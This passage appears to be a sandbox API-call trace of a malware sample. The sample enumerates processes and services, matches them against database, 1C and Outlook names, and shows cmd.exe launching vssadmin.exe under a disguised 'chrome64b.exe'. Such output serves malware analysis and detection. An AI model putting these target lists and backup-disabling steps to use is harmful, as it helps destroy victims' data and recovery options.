(lpString1="postgres.exe", lpString2="System") returned -1 [0041.879] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.879] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.879] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.879] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.879] lstrlenW (lpString="smss.exe") returned 8 [0041.879] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.879] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.879] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.879] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.880] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.880] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.880] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.880] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.880] lstrlenW (lpString="csrss.exe") returned 9 [0041.880] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.880] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.880] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.880] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.880] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.880] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.880] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0041.880] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.881] lstrlenW (lpString="wininit.exe") returned 11 [0041.881] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0041.881] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0041.881] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0041.881] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0041.881] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0041.881] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0041.881] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0041.881] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.882] lstrlenW (lpString="csrss.exe") returned 9 [0041.882] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.882] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.883] lstrlenW (lpString="winlogon.exe") returned 12 [0041.883] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.883] lstrlenW (lpString="services.exe") returned 12 [0041.883] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.884] lstrlenW (lpString="lsass.exe") returned 9 [0041.884] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.884] lstrlenW (lpString="lsm.exe") returned 7 [0041.884] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.885] lstrlenW (lpString="svchost.exe") returned 11 [0041.885] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.886] lstrlenW (lpString="svchost.exe") returned 11 [0041.886] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.886] lstrlenW (lpString="svchost.exe") returned 11 [0041.886] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.887] lstrlenW (lpString="svchost.exe") returned 11 [0041.887] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.888] lstrlenW (lpString="svchost.exe") returned 11 [0041.888] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.888] lstrlenW (lpString="audiodg.exe") returned 11 [0041.888] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.889] lstrlenW (lpString="svchost.exe") returned 11 [0041.889] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.889] lstrlenW (lpString="svchost.exe") returned 11 [0041.889] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.890] lstrlenW (lpString="dwm.exe") returned 7 [0041.890] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.891] lstrlenW (lpString="explorer.exe") returned 12 [0041.891] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.891] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.891] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.892] lstrlenW (lpString="taskhost.exe") returned 12 [0041.892] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.893] lstrlenW (lpString="svchost.exe") returned 11 [0041.893] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.893] lstrlenW (lpString="taskeng.exe") returned 11 [0041.893] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.894] lstrlenW (lpString="taskhost.exe") returned 12 [0041.894] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0041.894] lstrlenW (lpString="obligations-breath.exe") returned 22 [0041.894] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0041.895] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0041.895] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0041.896] lstrlenW (lpString="achieving.exe") returned 13 [0041.896] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0041.896] lstrlenW (lpString="venice.exe") returned 10 [0041.896] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0041.897] lstrlenW (lpString="owns.exe") returned 8 [0041.897] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0041.897] lstrlenW (lpString="faster momentum.exe") returned 19 [0041.898] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0041.898] lstrlenW (lpString="vital_reasons.exe") returned 17 [0041.898] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0041.899] lstrlenW (lpString="everyone.exe") returned 12 [0041.899] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0041.900] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0041.900] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0041.900] lstrlenW (lpString="bored_excluded.exe") returned 18 [0041.900] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0041.901] lstrlenW (lpString="mothers.exe") returned 11 [0041.901] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0041.901] lstrlenW (lpString="career-fed.exe") returned 14 [0041.901] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0041.902] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0041.902] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0042.137] lstrlenW (lpString="initial_utilization.exe") returned 23 [0042.137] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0042.138] lstrlenW (lpString="cf-represent.exe") returned 16 [0042.138] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0042.139] lstrlenW (lpString="tue.exe") returned 7 [0042.139] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0042.139] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0042.139] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0042.140] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0042.140] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0042.141] lstrlenW (lpString="stuff_event.exe") returned 15 [0042.141] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0042.141] lstrlenW (lpString="keywords-copies.exe") returned 19 [0042.141] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0042.142] lstrlenW (lpString="lap.exe") returned 7 [0042.142] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0042.142] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0042.142] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0042.143] lstrlenW (lpString="chrome64b.exe") returned 13 [0042.143] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0042.144] lstrlenW (lpString="cmd.exe") returned 7 [0042.144] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0042.144] lstrlenW (lpString="conhost.exe") returned 11 [0042.144] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0042.145] lstrlenW (lpString="vssadmin.exe") returned 12 [0042.145] Process32NextW (in: hSnapshot=0x1c4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0042.146] CloseHandle (hObject=0x1c4) returned 1 [0042.146] Sleep (dwMilliseconds=0x1f4) [0042.801] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66f660 [0042.802] EnumServicesStatusExW (in: hSCManager=0x66f660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0042.802] GetLastError () returned 0xea [0042.802] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x123e) returned 0x6e1eb0 [0042.803] EnumServicesStatusExW (in: hSCManager=0x66f660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6e1eb0, cbBufSize=0x123e, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6e1eb0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0042.803] CloseServiceHandle (hSCObject=0x66f660) returned 1 [0042.804] lstrlenW (lpString="Appinfo") returned 7 [0042.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0042.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0042.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0042.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0042.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0042.804] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0042.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.804] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0042.804] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0042.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0042.804] lstrlenW (lpString="AudioSrv") returned 8 [0042.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0042.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0042.804] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0042.804] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0042.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0042.804] lstrlenW (lpString="BFE") returned 3 [0042.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0042.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0042.805] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0042.805] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0042.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0042.805] lstrlenW (lpString="CryptSvc") returned 8 [0042.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0042.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0042.805] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0042.805] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0042.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0042.805] lstrlenW (lpString="CscService") returned 10 [0042.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0042.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0042.805] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0042.805] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0042.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0042.805] lstrlenW (lpString="DcomLaunch") returned 10 [0042.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.805] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0042.805] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0042.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0042.806] lstrlenW (lpString="Dhcp") returned 4 [0042.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0042.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0042.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0042.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0042.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0042.806] lstrlenW (lpString="Dnscache") returned 8 [0042.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0042.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0042.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0042.806] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0042.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0042.806] lstrlenW (lpString="DPS") returned 3 [0042.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0042.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0042.806] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0042.806] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0042.807] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0042.807] lstrlenW (lpString="eventlog") returned 8 [0042.807] lstrcmpiW 